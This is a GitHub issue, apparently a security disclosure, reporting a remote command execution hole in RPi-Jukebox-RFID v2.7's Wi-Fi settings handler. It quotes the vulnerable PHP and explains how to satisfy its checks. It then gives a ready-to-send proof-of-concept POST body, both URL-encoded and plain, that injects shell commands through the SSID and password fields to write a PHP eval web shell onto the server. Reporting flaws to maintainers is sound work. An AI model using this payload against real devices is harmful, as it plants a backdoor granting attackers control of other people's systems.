Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

🐛 | RPi-Jukebox-RFID V2.7_RCE_6 #2401

Open
xjzzzxx opened this issue Jul 12, 2024 · 0 comments
Open

🐛 | RPi-Jukebox-RFID V2.7_RCE_6 #2401

xjzzzxx opened this issue Jul 12, 2024 · 0 comments
Labels
bug legacy_v2 Issues, discussions and PRs related to Version 2.x needs triage

Comments

@xjzzzxx
Copy link

xjzzzxx commented Jul 12, 2024

Version

v2.7.0

Branch

released

OS

ubuntu 22

Pi model

unknown

Hardware

No response

What happened?

Hello,

I would like to report for a RCE vulnerability in RPi-Jukebox-RFID-v2.7(No permissions required)

Analysis

The path of the vulnerability: htdocs\inc.setWifi.php

# htdocs\inc.setWifi.php
if(isset($_POST["submitWifi"]) && $_POST["submitWifi"] == "submit") {	// Line 8(Check point)
    $exec  = "bash -e <<'END'\n";
    $exec .= "source ".$conf['scripts_abs']."/helperscripts/inc.networkHelper.sh\n";
    $exec .= "clear_wireless_networks\n";
    $tempPOST = $_POST;			// Line 14 (Source)
    $_POST=array(); //clear
    foreach ( $tempPOST as $post_key => $post_value ) {
        unset($temp_ssid);
        unset($temp_pass);
        unset($temp_prio);
        if ( substr(trim($post_key), 0, 9) == "WIFIssid_" ) {		// Line 20(check for temp_ssid)
            $temp_ssid = trim($post_value);
            $post_key = "WIFIpass_".substr(trim($post_key), 9); // Line  22(check for temp_pass)
            $post_value = $tempPOST[$post_key];
            $temp_pass = trim($post_value);
            $post_key = "WIFIprio_".substr(trim($post_key), 9); // Line  25(check for temp_prio)
            $post_value = $tempPOST[$post_key];
            $temp_prio = trim($post_value);
            if (isset($temp_ssid) && $temp_ssid != "" && isset($temp_pass) && strlen($temp_pass) >= 8) {	// Line 28
                if(!isset($temp_prio) || !is_numeric($temp_prio)) {
                    $temp_prio = 0;
                }
                $exec .= "add_wireless_network wlan0 ".$temp_ssid." ".$temp_pass." ".$temp_prio."\n";
            }
        }
    }

    $exec .= "END\n";
    exec("sudo bash -c '". $exec . "'");	// Line 38(Sink)
}

Source from Line 14 ($_POST ) .

And then there is a check point(Line 8) ,which we should set $_POST['submitWifi'] = submit to bypass.

Finally, the sink point executed a complex concatenated command(Line 38).

Let's briefly analyze this splicing command:

sudo bash -c 'bash -e <<'END'
source ".$conf['scripts_abs']."/helperscripts/inc.networkHelper.sh
clear_wireless_networks
add_wireless_network wlan0 $temp_ssid $temp_pass $temp_prio
END
'z

We have three controllable variables($temp_ssid, $temp_pass, $temp_prio), but they need to meet the corresponding checks(Line 20, Line 22, Line25 and Line 28). It can be seen that the condition we need to meet is to use KEY values with prefixes WIFIssid_, WIFIpass_, and WIFIprio_, and strlen($temp_pass) >= 8.

In addition, since we are using bash -e mode, we must ensure that all commands before controllable points can be executed correctly. That is, we need to find the correct value for $conf['scripts_abs'] which can be found in the htdocs/settings.php

# htdocs/settings.php
include("inc.header.php"); // Line 3 (init $conf['scripts_abs'])
...
include("inc.setWifi.php"); // Line 191

So we need to POST htdocs/settings. php

Poc

POST /htdocs/settings.php

Data:

submitWifi=submit&WIFIssid_123=+%7c%7c+echo+%22%3c%3fphp+%40eval(%5c%5c%5c%24_POST%5b%5c%22shell6%5c%22%5d)%3b+%3f%3e%22+%3e+.%2fshell6.php+&WIFIpass_123=%7c%7c+echo+%221%22+%7c%7c+&WIFIprio_123=1

Here is the version without url encoding for ease of understanding:

submitWifi=submit&WIFIssid_123= || echo "<?php @eval(\\\$_POST[\"shell6\"]); ?>" > ./shell6.php &WIFIpass_123=|| echo "1" || &WIFIprio_123=1

The concatenated command:

sudo bash -c 'bash -e <<'END'
source /www/admin/cms.jukebox27.com_80/wwwroot/scripts/helperscripts/inc.networkHelper.sh
clear_wireless_networks
add_wireless_network wlan0 || echo "<?php @eval(\\\$_POST[\"shell6\"]); ?>" > ./shell6.php || echo "1" || 1
END
'

Manual verification

21

22

23

Logs

No response

Configuration

No response

More info

No response

@xjzzzxx xjzzzxx added bug legacy_v2 Issues, discussions and PRs related to Version 2.x needs triage labels Jul 12, 2024
@xjzzzxx xjzzzxx changed the title 🐛 | RPi-Jukebox-RFID V2.7_RCE_5 🐛 | RPi-Jukebox-RFID V2.7_RCE_6 Jul 12, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug legacy_v2 Issues, discussions and PRs related to Version 2.x needs triage
Projects
None yet
Development

No branches or pull requests

1 participant